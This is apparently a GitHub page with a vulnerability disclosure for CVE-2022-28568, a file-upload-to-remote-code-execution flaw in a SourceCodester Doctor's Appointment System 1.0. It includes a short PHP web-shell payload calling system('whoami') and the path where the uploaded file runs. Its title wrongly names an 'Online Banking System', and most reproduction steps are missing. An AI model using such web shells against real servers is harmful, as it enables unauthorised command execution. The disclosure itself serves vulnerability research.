Skip to content
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
CVE/CVE-2022-28568/
CVE/CVE-2022-28568/

Latest commit

 

Git stats

Files

Permalink
Failed to load latest commit information.
Type
Name
Latest commit message
Commit time
 
 

Tittle: Online Banking System (File Upload to RCE)

Author: (B3nj1)

Vendor Homepage: https://www.sourcecodester.com/

Software Link: Doctor's Appointment System

Version: 1.0

CVE:

  • Description: Doctor's Appointment System 1.0 is vulnerable to File Upload to RCE via Image upload from the administrator panel. An attacker can obtain remote command execution just by knowing the path where the images are stored.

Steps to reproduce:

image

  • 3- Going to that url we will execute the code

http://localhost/doctors_appointment/assets/img/1651595100_b3nj1.php

image

Payload

<?php
echo system('whoami');
echo "\nits working!!";
?>